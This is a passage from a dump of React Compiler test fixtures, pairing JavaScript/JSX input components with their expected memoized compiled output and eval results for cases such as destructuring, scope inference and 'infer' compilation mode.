    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({}) {\n  let a = 'a';\n  let b = '';\n  [a, b] = [null, null];\n  // NOTE: reference `a` in a callback to force a context variable\n  return <Stringify a={a} b={b} onClick={() => a} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(4);\n  let a;\n  let b;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    a = \"a\";\n    const [t2, t3] = [null, null];\n    t1 = t3;\n    a = t2;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    a = $[0];\n    b = $[1];\n    t1 = $[2];\n  }\n  b = t1;\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <Stringify a={a} b={b} onClick={() => a} />;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"a\":null,\"b\":\"[[ cyclic ref *1 ]]\",\"onClick\":\"[[ function params=0 ]]\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.js",
    "content": "import {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({}) {\n  let a = 'a';\n  let b = '';\n  [a, b] = [null, null];\n  // NOTE: reference `a` in a callback to force a context variable\n  return <Stringify a={a} b={b} onClick={() => a} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independent-across-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction compute() {}\nfunction mutate() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a & props.c; outputs=a\n *   a = compute(props.a);\n *   if (props.c)\n *     mutate(a)\n * b: inputs=props.b & props.c; outputs=b\n *   b = compute(props.b);\n *   if (props.c)\n *     mutate(b)\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  if (props.c) {\n    mutate(a);\n    mutate(b);\n  }\n  return <Foo a={a} b={b} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction compute() {}\nfunction mutate() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a & props.c; outputs=a\n *   a = compute(props.a);\n *   if (props.c)\n *     mutate(a)\n * b: inputs=props.b & props.c; outputs=b\n *   b = compute(props.b);\n *   if (props.c)\n *     mutate(b)\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const $ = _c(8);\n  let a;\n  let b;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.c) {\n    a = compute(props.a);\n    b = compute(props.b);\n    if (props.c) {\n      mutate(a);\n      mutate(b);\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.c;\n    $[3] = a;\n    $[4] = b;\n  } else {\n    a = $[3];\n    b = $[4];\n  }\n  let t0;\n  if ($[5] !== a || $[6] !== b) {\n    t0 = <Foo a={a} b={b} />;\n    $[5] = a;\n    $[6] = b;\n    $[7] = t0;\n  } else {\n    t0 = $[7];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independent-across-if.js",
    "content": "function compute() {}\nfunction mutate() {}\nfunction foo() {}\nfunction Foo() {}\n\n/**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a & props.c; outputs=a\n *   a = compute(props.a);\n *   if (props.c)\n *     mutate(a)\n * b: inputs=props.b & props.c; outputs=b\n *   b = compute(props.b);\n *   if (props.c)\n *     mutate(b)\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  if (props.c) {\n    mutate(a);\n    mutate(b);\n  }\n  return <Foo a={a} b={b} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independent.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a, outputs=a\n *   a = compute(props.a);\n * b: inputs=props.b, outputs=b\n *   b = compute(props.b);\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  return <Foo a={a} b={b} />;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a, outputs=a\n *   a = compute(props.a);\n * b: inputs=props.b, outputs=b\n *   b = compute(props.b);\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = compute(props.a);\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const a = t0;\n  let t1;\n  if ($[2] !== props.b) {\n    t1 = compute(props.b);\n    $[2] = props.b;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const b = t1;\n  let t2;\n  if ($[4] !== a || $[5] !== b) {\n    t2 = <Foo a={a} b={b} />;\n    $[4] = a;\n    $[5] = b;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independent.js",
    "content": "/**\n * Should produce 3 scopes:\n *\n * a: inputs=props.a, outputs=a\n *   a = compute(props.a);\n * b: inputs=props.b, outputs=b\n *   b = compute(props.b);\n * return: inputs=a, b outputs=return\n *   return = <Foo a={a} b={b} />\n */\nfunction Component(props) {\n  const a = compute(props.a);\n  const b = compute(props.b);\n  return <Foo a={a} b={b} />;\n}\n\nfunction compute() {}\nfunction foo() {}\nfunction Foo() {}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = {a: a};\n  // NOTE: this array should memoize independently from x, w only b,c as deps\n  x.y = [b, c];\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(7);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = { a };\n    let t0;\n    if ($[4] !== b || $[5] !== c) {\n      t0 = [b, c];\n      $[4] = b;\n      $[5] = c;\n      $[6] = t0;\n    } else {\n      t0 = $[6];\n    }\n    x.y = t0;\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.js",
    "content": "function foo(a, b, c) {\n  const x = {a: a};\n  // NOTE: this array should memoize independently from x, w only b,c as deps\n  x.y = [b, c];\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nimport {useNoAlias} from 'shared-runtime';\n\n// This should be compiled by Forget\nfunction useFoo(value1, value2) {\n  return {\n    value: useNoAlias(value1 + value2),\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nimport { useNoAlias } from \"shared-runtime\";\n\n// This should be compiled by Forget\nfunction useFoo(value1, value2) {\n  const $ = _c(2);\n\n  const t0 = useNoAlias(value1 + value2);\n  let t1;\n  if ($[0] !== t0) {\n    t1 = { value: t0 };\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"value\":{}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.js",
    "content": "// @compilationMode:\"infer\"\nimport {useNoAlias} from 'shared-runtime';\n\n// This should be compiled by Forget\nfunction useFoo(value1, value2) {\n  return {\n    value: useNoAlias(value1 + value2),\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.expect.md",
    "content": "\n## Input\n\n```javascript\n// @debug @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x[props.value];\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\n// @debug @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x[props.value];\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.js",
    "content": "// @debug @enablePreserveExistingMemoizationGuarantees:false\nfunction Component(props) {\n  const x = makeObject();\n  const y = delete x[props.value];\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Takes multiple parameters - not a component!\nfunction Component(foo, bar) {\n  return <div />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [null, null],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\n// Takes multiple parameters - not a component!\nfunction Component(foo, bar) {\n  return <div />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [null, null],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\n// Takes multiple parameters - not a component!\nfunction Component(foo, bar) {\n  return <div />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [null, null],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nReact.memo(props => {\n  return <div />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nReact.memo((props) => {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.js",
    "content": "// @compilationMode:\"infer\"\nReact.memo(props => {\n  return <div />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nconst Component = props => {\n  return <div />;\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nconst Component = (props) => {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.js",
    "content": "// @compilationMode:\"infer\"\nconst Component = props => {\n  return <div />;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\n\nconst Component = function ComponentName(props) {\n  return <Foo />;\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\n\nconst Component = function ComponentName(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Foo />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.js",
    "content": "// @compilationMode:\"infer\"\n\nconst Component = function ComponentName(props) {\n  return <Foo />;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nReact.forwardRef(props => {\n  return <div />;\n});\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nReact.forwardRef((props) => {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n});\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.js",
    "content": "// @compilationMode:\"infer\"\nReact.forwardRef(props => {\n  return <div />;\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component(props) {\n  const [state, _] = useState(null);\n  return [state];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nfunction Component(props) {\n  const $ = _c(2);\n  const [state] = useState(null);\n  let t0;\n  if ($[0] !== state) {\n    t0 = [state];\n    $[0] = state;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component(props) {\n  const [state, _] = useState(null);\n  return [state];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction Component(props) {\n  return <div />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.js",
    "content": "// @compilationMode:\"infer\"\nfunction Component(props) {\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\n\nfunction Foo({}, ref) {\n  return <div ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\n\nfunction Foo(t0, ref) {\n  const $ = _c(2);\n  let t1;\n  if ($[0] !== ref) {\n    t1 = <div ref={ref} />;\n    $[0] = ref;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.js",
    "content": "// @compilationMode:\"infer\"\n\nfunction Foo({}, ref) {\n  return <div ref={ref} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction useStateValue(props) {\n  const [state, _] = useState(null);\n  return [state];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nfunction useStateValue(props) {\n  const $ = _c(2);\n  const [state] = useState(null);\n  let t0;\n  if ($[0] !== state) {\n    t0 = [state];\n    $[0] = state;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.js",
    "content": "// @compilationMode:\"infer\"\nfunction useStateValue(props) {\n  const [state, _] = useState(null);\n  return [state];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nfunction useDiv(props) {\n  return <div />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nfunction useDiv(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.js",
    "content": "// @compilationMode:\"infer\"\nfunction useDiv(props) {\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, sum} from 'shared-runtime';\n\n// Check that we correctly resolve type and effect lookups on the javascript\n// global object.\nfunction Component(props) {\n  let neverAliasedOrMutated = identity(props.b);\n  let primitiveVal1 = Math.max(props.a, neverAliasedOrMutated);\n  let primitiveVal2 = Infinity;\n  let primitiveVal3 = globalThis.globalThis.NaN;\n\n  // Even though we don't know the function signature of sum,\n  // we should be able to infer that it does not mutate its inputs.\n  sum(primitiveVal1, primitiveVal2, primitiveVal3);\n  return {primitiveVal1, primitiveVal2, primitiveVal3};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, sum } from \"shared-runtime\";\n\n// Check that we correctly resolve type and effect lookups on the javascript\n// global object.\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.b) {\n    t0 = identity(props.b);\n    $[0] = props.b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const neverAliasedOrMutated = t0;\n  const primitiveVal1 = Math.max(props.a, neverAliasedOrMutated);\n\n  const primitiveVal3 = globalThis.globalThis.NaN;\n\n  sum(primitiveVal1, Infinity, primitiveVal3);\n  let t1;\n  if ($[2] !== primitiveVal1) {\n    t1 = { primitiveVal1, primitiveVal2: Infinity, primitiveVal3 };\n    $[2] = primitiveVal1;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"primitiveVal1\":2,\"primitiveVal2\":null,\"primitiveVal3\":null}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.js",
    "content": "import {identity, sum} from 'shared-runtime';\n\n// Check that we correctly resolve type and effect lookups on the javascript\n// global object.\nfunction Component(props) {\n  let neverAliasedOrMutated = identity(props.b);\n  let primitiveVal1 = Math.max(props.a, neverAliasedOrMutated);\n  let primitiveVal2 = Infinity;\n  let primitiveVal3 = globalThis.globalThis.NaN;\n\n  // Even though we don't know the function signature of sum,\n  // we should be able to infer that it does not mutate its inputs.\n  sum(primitiveVal1, primitiveVal2, primitiveVal3);\n  return {primitiveVal1, primitiveVal2, primitiveVal3};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\n\nimport {Stringify} from 'shared-runtime';\n\nfunction Test() {\n  const context = {\n    testFn() {\n      // if it is an arrow function its work\n      return () => 'test'; // it will break compile if returns an arrow fn\n    },\n  };\n\n  return <Stringify value={context} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\n\nimport { Stringify } from \"shared-runtime\";\n\nfunction Test() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const context = {\n      testFn() {\n        return _temp;\n      },\n    };\n    t0 = <Stringify value={context} shouldInvokeFns={true} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return \"test\";\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{\"testFn\":{\"kind\":\"Function\",\"result\":{\"kind\":\"Function\",\"result\":\"test\"}}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.jsx",
    "content": "// @compilationMode:\"infer\"\n\nimport {Stringify} from 'shared-runtime';\n\nfunction Test() {\n  const context = {\n    testFn() {\n      // if it is an arrow function its work\n      return () => 'test'; // it will break compile if returns an arrow fn\n    },\n  };\n\n  return <Stringify value={context} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Test,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nimport {useIdentity, identity} from 'shared-runtime';\n\nfunction Component(fakeProps: number) {\n  const x = useIdentity(fakeProps);\n  return identity(x);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [42],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nimport { useIdentity, identity } from \"shared-runtime\";\n\nfunction Component(fakeProps: number) {\n  const x = useIdentity(fakeProps);\n  return identity(x);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [42],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.ts",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\nimport {useIdentity, identity} from 'shared-runtime';\n\nfunction Component(fakeProps: number) {\n  const x = useIdentity(fakeProps);\n  return identity(x);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [42],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const result = f(props);\n  function helper() {\n    return <foo />;\n  }\n  helper();\n  return result;\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const result = f(props);\n  function helper() {\n    return <foo />;\n  }\n  helper();\n  return result;\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const result = f(props);\n  function helper() {\n    return <foo />;\n  }\n  helper();\n  return result;\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const ignore = <foo />;\n  return {foo: f(props)};\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const ignore = <foo />;\n  return { foo: f(props) };\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"foo\":{}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.js",
    "content": "// @expectNothingCompiled @compilationMode:\"infer\"\nfunction Component(props) {\n  const ignore = <foo />;\n  return {foo: f(props)};\n}\n\nfunction f(props) {\n  return props;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-phi-primitive.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  let x;\n  if (a) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n\n  let y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [true, false],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b) {\n  let x;\n  if (a) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n\n  const y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [true, false],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-phi-primitive.js",
    "content": "function foo(a, b) {\n  let x;\n  if (a) {\n    x = 1;\n  } else {\n    x = 2;\n  }\n\n  let y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [true, false],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.expect.md",
